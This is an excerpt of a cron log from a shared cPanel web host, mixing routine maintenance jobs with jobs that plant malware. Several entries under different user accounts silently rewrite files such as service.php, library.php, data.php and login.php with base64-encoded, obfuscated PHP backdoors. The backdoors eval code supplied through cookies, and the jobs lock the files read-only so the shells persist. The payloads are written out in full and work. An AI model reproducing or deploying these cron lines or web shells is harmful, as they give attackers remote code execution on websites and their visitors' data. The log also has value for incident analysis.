8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:30:02 medusa CROND[24900]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 04:30:02 medusa CROND[24901]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 04:30:02 medusa CROND[24902]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:30:02 medusa CROND[24904]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Jun  7 04:30:02 medusa CROND[24911]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 04:30:02 medusa CROND[24912]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Jun  7 04:30:02 medusa CROND[24916]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:30:02 medusa CROND[24917]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:30:02 medusa CROND[24924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:30:02 medusa CROND[24925]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 04:30:02 medusa CROND[24927]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 04:30:02 medusa CROND[24933]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 04:30:02 medusa CROND[24928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:30:02 medusa CROND[24934]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:30:02 medusa CROND[24929]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 04:30:02 medusa CROND[24935]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:30:02 medusa CROND[24931]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:30:02 medusa CROND[24936]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:30:02 medusa CROND[24920]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 04:30:02 medusa CROND[24923]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Jun  7 04:30:02 medusa CROND[24941]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 04:30:02 medusa CROND[24922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 04:30:02 medusa CROND[24947]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 04:30:02 medusa CROND[24954]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 04:30:02 medusa CROND[24937]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 04:31:01 medusa CROND[27209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:31:02 medusa CROND[27216]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:31:02 medusa CROND[27217]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 04:31:02 medusa CROND[27218]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:31:02 medusa CROND[27219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:31:02 medusa CROND[27221]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:31:02 medusa CROND[27225]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:31:02 medusa CROND[27224]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:31:02 medusa CROND[27231]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:31:02 medusa CROND[27237]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:31:02 medusa CROND[27238]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 04:31:02 medusa CROND[27239]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:31:02 medusa CROND[27241]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:32:01 medusa CROND[28592]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 04:32:01 medusa CROND[28595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:32:01 medusa CROND[28601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:32:01 medusa CROND[28604]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzA